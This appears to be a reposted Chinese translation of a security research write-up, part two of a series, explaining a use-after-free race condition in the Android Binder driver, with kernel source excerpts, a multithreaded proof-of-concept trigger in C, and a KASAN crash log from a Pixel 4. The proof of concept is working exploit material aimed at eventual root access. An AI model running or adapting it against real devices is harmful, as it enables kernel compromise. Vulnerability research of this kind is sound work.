深入分析Binder中的单指令竞态条件漏洞(二)

访客4年前黑客文章359

  在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用 *** 。

  (接上文)

  到此为止,我们只考察了发送方线程这边的情况。现在,我们将解释接收端需要执行哪些操作才能释放节点。

  实际上,负责释放节点的函数是binder_free_node。

  static void binder_free_node(struct binder_node *node)

  {

  kfree(node);

  binder_stats_deleted(BINDER_STAT_NODE);

  }

  这个函数在代码内多个不同的地方都有调用,但我们感兴趣的路径是当binder接收到BC_FREE_BUFFER事务命令时的那条。之所以选择该代码路径,是基于如下两个方面的考虑的。

  首先,并不是所有的进程都可以注册为binder服务的。尽管仍然有可能通过滥用ITokenManager服务来实现这一点,但我们选择使用已经注册的服务(例如servicemanager,gpuservice等)。

  第二个原因是,由于我们选择与现有服务进行通信,因此必须在其中一个中使用现有代码路径,这样我们才能释放节点。

  幸运的是,BC_FREE_BUFFER就是这种情况,binder服务在处理完事务后会使用BC_FREE_BUFFER进行清理。下面给出了一个带有servicemanager的示例。

  在binder_parse中,当响应事务时,服务管理器将调用binder_free_buffer(如果它是单向事务)或binder_send_reply。

  int binder_parse(struct binder_state *bs, struct binder_io *bio,

  uintptr_t ptr, size_t size, binder_handler func)

  {

  // [...]

  switch(cmd) {

  // [...]

  case BR_TRANSACTION_SEC_CTX:

  case BR_TRANSACTION: {

  // [...]

  if (func) {

  // [...]

  if (txn.transaction_data.flags & TF_ONE_WAY) {

  binder_free_buffer(bs, txn.transaction_data.data.ptr.buffer);

  } else {

  binder_send_reply(bs, &reply, txn.transaction_data.data.ptr.buffer, res);

  }

  }

  break;

  }

  // [...]

  在这两种情况下,servicemanager都将返回BC_FREE_BUFFER。现在,我们开始介绍该命令是如何释放由发送线程创建的binder节点的。

  当目标服务用BC_FREE_BUFFER进行响应时,事务由binder_thread_write进行处理。执行流将流经BC_FREE_BUFFER分支,最后将调用binder_transaction_buffer_release:

  static int binder_thread_write(struct binder_proc *proc,

  struct binder_thread *thread,

  binder_uintptr_t binder_buffer, size_t size,

  binder_size_t *consumed)

  {

  // [...]

  case BC_FREE_BUFFER: {

  // [...]

  binder_transaction_buffer_release(proc, buffer, 0, false);

  // [...]

  }

  // [...]

  然后,bind_transaction_buffer_release函数将查看存储在缓冲区中的对象的类型,在本例中为BINDER_TYPE_WEAK_HANDLE或BINDER_TYPE_HANDLE(因为binder对象通过binder时会被转换为句柄),并开始释放它们。

  static void binder_transaction_buffer_release(struct binder_proc *proc,

  struct binder_buffer *buffer,

  binder_size_t failed_at,

  bool is_failure)

  {

  // [...]

  switch (hdr->type) {

  // [...]

  case BINDER_TYPE_HANDLE:

  case BINDER_TYPE_WEAK_HANDLE: {

  struct flat_binder_object *fp;

  struct binder_ref_data rdata;

  int ret;

  fp=to_flat_binder_object(hdr);

  ret=binder_dec_ref_for_handle(proc, fp->handle,

  hdr->type==BINDER_TYPE_HANDLE, &rdata);

  // [...]

  } break;

  // [...]

  然后,inder_transaction_buffer_release函数将调用binder_dec_ref_for_handle,后者是binder_update_ref_for_handle的封装器。

  binder_update_ref_for_handle将递减对句柄的引用,并通过binder_dec_ref_olocked递减对binder节点的引用。

  static int binder_update_ref_for_handle(struct binder_proc *proc,

  uint32_t desc, bool increment, bool strong,

  struct binder_ref_data *rdata)

  {

  // [...]

  if (increment)

  ret=binder_inc_ref_olocked(ref, strong, NULL);

  else

  delete_ref=binder_dec_ref_olocked(ref, strong);

  // [...]

  if (delete_ref)

  binder_free_ref(ref);

  return ret;

  // [...]

  }

  在调用binder_free_node之后,binder节点将被释放。

  static void binder_free_ref(struct binder_ref *ref)

  {

  if (ref->node)

  binder_free_node(ref->node);

  kfree(ref->death);

  kfree(ref);

  }

  在深入讨论该漏洞的利用过程之前,让我们先来简要介绍一下触发UAF漏洞所需的步骤。

  首先,我们需要一个处于用户控制之下的线程,将事务发送到系统控制的binder服务(例如servicemanager)。同时,发送方创建包含BINDER_TYPE_BINDER的事务,并将其发送到binder。然后,Binder创建与BINDER_TYPE_BINDER对象相对应的binder_node,并将其发送到ServiceManager。

  1.png

  随后,发送方使用BINDER_THREAD_EXIT停止与binder的通信,这将启动清理过程,最终调用易受攻击的函数binder_release_work,该函数将binder节点从thread->todo中移除。

  1.png

  最后,如果时机合适,接收者将在binder节点出列之后、使用之前,用BC_FREE_BUFFER释放binder节点来响应我们之前的事务。

  1.png

  此时,通过一些喷射操作,可以用另一个对象替换binder节点,并控制binder_work结构体中的type字段来篡改binder的执行流程。

  static void binder_release_work(struct binder_proc *proc,

  struct list_head *list)

  {

  struct binder_work *w;

  while (1) {

  w=binder_dequeue_work_head(proc, list);

  if (!w)

  return;

  switch (w->type) {

  // [...]

  下一部分将在详细说明可用于在Pixel 4设备上获得root用户访问权限的详细利用过程之前,通过简单的概念证明来说明如何触发该漏洞。

  在尝试为该漏洞编写完整的exploit之前,让我们先来尝试触发在Pixel 4设备上运行的、启用KASAN功能的内核漏洞。这篇文章详细介绍了为Pixel设备构建KASAN内核的详细步骤。

  概念证明可以分为三个阶段:

  生成能够触发漏洞的事务

  将该事务和BINDER_THREAD_EXIT发送到binder

  使用多个线程更有效地触发静态条件

  首先,让我们看一下我们需要发送的事务。为此,至少需要一个BINDER_TYPE_BINDER或BINDER_TYPE_WEAK_BINDER对象。我们可以发送多个消息来触发该漏洞,因为thread->todo中的节点越多,执行给定事务的可能性就越大,也就有更多的机会来触发该漏洞。

  根据binder事务的格式,我们可以使用以下布局生成一个binder事务:

  1.png

  下面的函数可用于创建一个如上所示的事务。

  static inline void init_binder_transaction(int nb) {

  for (int i=0; i

  struct flat_binder_object *fbo=

  (struct flat_binder_object *)((void*)(MEM_ADDR + 0x400LL + i*sizeof(*fbo)));

  fbo->hdr.type=BINDER_TYPE_BINDER;

  fbo->binder=i;

  fbo->cookie=i;

  uint64_t *offset=(uint64_t *)((void *)(MEM_ADDR + OFFSETS_START + 8LL*i));

  *offset=i * sizeof(*fbo);

  }

  struct binder_transaction_data btd2={

  .flags=TF_ONE_WAY,

  .data_size=0x28 * nb,

  .offsets_size=8 * nb,

  .data.ptr.buffer=MEM_ADDR + 0x400,

  .data.ptr.offsets=MEM_ADDR + OFFSETS_START,

  };

  uint64_t txn_size=sizeof(uint32_t) + sizeof(btd2);

  *(uint32_t*)(MEM_ADDR + 0x200)=BC_TRANSACTION;

  memcpy((void*)(MEM_ADDR + 0x204), &btd2, sizeof(btd2));

  struct binder_write_read bwr={

  .write_size=txn_size * (1), // 1 txno

  .write_buffer=MEM_ADDR + 0x200

  };

  memcpy((void*)(MEM_ADDR + 0x100), &bwr, sizeof(bwr));

  }

  下一步是打开与binder的通信通道,发送事务,并用BINDER_THREAD_EXIT关闭该通道:

  void *trigger_thread_func(void *argp) {

  unsigned long id=(unsigned long)argp;

  int ret=0;

  int binder_fd=-1;

  int binder_fd_copy=-1;

  // Opening binder device

  binder_fd=open("/dev/binder", O_RDWR);

  if (binder_fd

  perror("An error occured while opening binder");

  for (;;) {

  // Refill the memory region with the transaction

  init_binder_transaction(1);

  // Copying the binder fd

  binder_fd_copy=dup(binder_fd);

  // Sending the transaction

  ret=ioctl(binder_fd_copy, BINDER_WRITE_READ, MEM_ADDR + 0x100);

  if (ret !=0)

  debug_printf("BINDER_WRITE_READ did not work: %d", ret);

  // Binder thread exit

  ret=ioctl(binder_fd_copy, BINDER_THREAD_EXIT, 0);

  if (ret !=0)

  debug_printf("BINDER_WRITE_EXIT did not work: %d", ret);

  // Closing binder device

  close(binder_fd_copy);

  }

  return NULL;

  }

  最后,让我们启动多个线程,以更快地触发该漏洞。

  int main() {

  pthread_t trigger_threads[NB_TRIGGER_THREADS];

  // Memory region for binder transactions

  mmap((void*)MEM_ADDR, MEM_SIZE, PROT_READ | PROT_WRITE,

  MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);

  // Init random

  srand(time(0));

  // Get rid of stdout/stderr buffering

  setvbuf(stdout, NULL, _IONBF, 0);

  setvbuf(stderr, NULL, _IONBF, 0);

  // Starting trigger threads

  debug_print("Starting trigger threads");

  for (unsigned long i=0; i

  pthread_create(&trigger_threads[i], NULL, trigger_thread_func, (void*)i);

  }

  // Waiting for trigger threads

  for (int i=0; i

  pthread_join(trigger_threads[i], NULL);

  return 0;

  }

  在启用KASAN的易受攻击内核上运行PoC后,如果成功触发了漏洞,那么一段时间后,dmesg中应该会出现以下消息:

  [81169.367408] c6 20464==================================================================

  [81169.367435] c6 20464 BUG: KASAN: use-after-free in binder_release_work+0x84/0x1b8

  [81169.367469] c6 20464 Read of size 4 at addr ffffffc053e45850 by task poc/20464

  [81169.367481] c6 20464

  [81169.367498] c6 20464 CPU: 6 PID: 20464 Comm: poc Tainted: G S W 4.14.170-g551313822-dirty_audio-g199e9bf #1

  [81169.367507] c6 20464 Hardware name: Qualcomm Technologies, Inc. *** 8150 V2 PM8150 Google Inc. M *** *** 8150 Flame (DT)

  [81169.367514] c6 20464 Call trace:

  [81169.367530] c6 20464 dump_backtrace+0x0/0x380

  [81169.367541] c6 20464 show_stack+0x20/0x2c

  [81169.367554] c6 20464 dump_stack+0xc4/0x11c

  [81169.367576] c6 20464 print_address_description+0x70/0x240

  [81169.367594] c6 20464 kasan_report_error+0x1a0/0x204

  [81169.367605] c6 20464 kasan_report_error+0x0/0x204

  [81169.367619] c6 20464 __asan_load4+0x80/0x84

  [81169.367631] c6 20464 binder_release_work+0x84/0x1b8

  [81169.367644] c6 20464 binder_thread_release+0x2ac/0x2e0

  [81169.367655] c6 20464 binder_ioctl+0x9a4/0x122c

  [81169.367680] c6 20464 do_vfs_ioctl+0x7c8/0xefc

  [81169.367693] c6 20464 SyS_ioctl+0x68/0xa0

  [81169.367716] c6 20464 el0_svc_naked+0x34/0x38

  [81169.367725] c6 20464

  [81169.367734] c6 20464 Allocated by task 20464:

  [81169.367747] c6 20464 kasan_kmalloc+0xe0/0x1ac

  [81169.367761] c6 20464 kmem_cache_alloc_trace+0x3b8/0x454

  [81169.367774] c6 20464 binder_new_node+0x4c/0x394

  [81169.367802] c6 20464 binder_transaction+0x2398/0x4308

  [81169.367816] c6 20464 binder_ioctl_write_read+0xc28/0x4dc8

  [81169.367826] c6 20464 binder_ioctl+0x650/0x122c

  [81169.367836] c6 20464 do_vfs_ioctl+0x7c8/0xefc

  [81169.367846] c6 20464 SyS_ioctl+0x68/0xa0

  [81169.367862] c6 20464 el0_svc_naked+0x34/0x38

  [81169.367868] c6 20464

  [81169.367936] c7 20469 CPU7: update max cpu_capacity 989

  [81169.368496] c6 20464 Freed by task 594:

  [81169.368518] c6 20464 __kasan_slab_free+0x13c/0x21c

  [81169.368534] c6 20464 kasan_slab_free+0x10/0x1c

  [81169.368549] c6 20464 kfree+0x248/0x810

  [81169.368564] c6 20464 binder_free_ref+0x30/0x64

  [81169.368584] c6 20464 binder_update_ref_for_handle+0x294/0x2b0

  [81169.368600] c6 20464 binder_transaction_buffer_release+0x46c/0x7a0

  [81169.368616] c6 20464 binder_ioctl_write_read+0x21d0/0x4dc8

  [81169.368653] c6 20464 binder_ioctl+0x650/0x122c

  [81169.368667] c6 20464 do_vfs_ioctl+0x7c8/0xefc

  [81169.368684] c6 20464 SyS_ioctl+0x68/0xa0

  [81169.368697] c6 20464 el0_svc_naked+0x34/0x38

  [81169.368704] c6 20464

  [81169.368735] c6 20464 The buggy address belongs to the object at ffffffc053e45800

  [81169.368735] c6 20464 which belongs to the cache kmalloc-256 of size 256

  [81169.368753] c6 20464 The buggy address is located 80 bytes inside of

  [81169.368753] c6 20464 256-byte region [ffffffc053e45800, ffffffc053e45900)

  [81169.368767] c6 20464 The buggy address belongs to the page:

  [81169.368779] c6 20464 page:ffffffbf014f9100 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0

  [81169.368804] c6 20464 flags: 0x10200(slab|head)

  [81169.368824] c6 20464 raw: 0000000000010200 0000000000000000 0000000000000000 0000000100150015

  [81169.368843] c6 20464 raw: ffffffbf04e39e00 0000000e00000002 ffffffc148c0fa00 0000000000000000

  [81169.368867] c6 20464 page dumped because: kasan: bad access detected

  [81169.368882] c6 20464

  [81169.368894] c6 20464 Memory state around the buggy address:

  [81169.368910] c6 20464 ffffffc053e45700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

  [81169.368955] c6 20464 ffffffc053e45780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

  [81169.368984] c6 20464 >ffffffc053e45800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

  [81169.368997] c6 20464 ^

  [81169.369012] c6 20464 ffffffc053e45880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

  [81169.369037] c6 20464 ffffffc053e45900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

  [81169.369049] c6 20464==================================================================

  在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用 *** 。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!

  (未完待续)

相关文章

毛血旺是什么菜系(毛血旺家常做法分享)

毛血旺是什么菜系(毛血旺家常做法分享)

毛血旺是什么地方菜?毛血旺起源于四川重庆,是四川十分经典有名的汉族美食,属于川菜,是用鸭血、毛肚、牛百叶为主要食材制作而成,口味麻辣开胃,如今毛血旺的名气不仅席卷大江南北,而且享誉全球,今天我们就...

开的房记录是永久的吗(可以查出和谁开过房吗)

开的房纪录是永久性的吗(能够查出来和谁开过房吗)只需是警员99%都能查但是查出你也就心死了但是我是感觉结婚前查查询开房记录比婚前检查也要关键能够查出来和谁开过房吗一般状况下,酒店餐厅或是翠绿色是不容易...

秒粘豆和黑客颗粒哪款好(秒粘豆颗粒正确使用)

秒粘豆和黑客颗粒哪款好(秒粘豆颗粒正确使用)

本文导读目录: 1、霸王戟秒粘豆怎么样 2、秋天钓鲤鱼用什么味麻团好用秒粘豆用什么味道好啊? 3、秒粘豆使用方法,颗粒跟黄面哪个好? 4、秒粘豆和摇三摇哪个好用 5、秒粘豆钓鱼效果怎么...

黑客系统最大的漏洞(黑客帝国漏洞)

黑客系统最大的漏洞(黑客帝国漏洞)

本文目录一览: 1、近 3 年来,国内都有哪些比较严重的黑客入侵事件? 2、常见的操作系统漏洞有哪些怎么解决 3、现在的XP系统什么漏洞最多,怎样利用那些漏洞 近 3 年来,国内都有哪些比较...

淘宝评价模板100字(赶紧收藏起来备用吧)

淘宝评价模板100字(赶紧收藏起来备用吧)

常常网上购物,总会有很多的包囊收,有很多的评价语要写! 可是,一直写评价语用掉了我很多的時间和活力! 因此 在一段时间里,我一直没去点评或是随意写一篇! 可是,我又一直感觉仿佛有点儿很对不起这...

有办法查别人的酒店开房记录吗

斯嘉丽电梯门是什么 她为何能这么豪放感情经历又是如何 斯嘉丽电梯门是什么呢?斯嘉丽是美国的一位知名演员,对于她所参演的影视作品,很多国内的网友都是有所了解的,那么斯嘉丽电梯门又是怎么样的呢?据小编所了...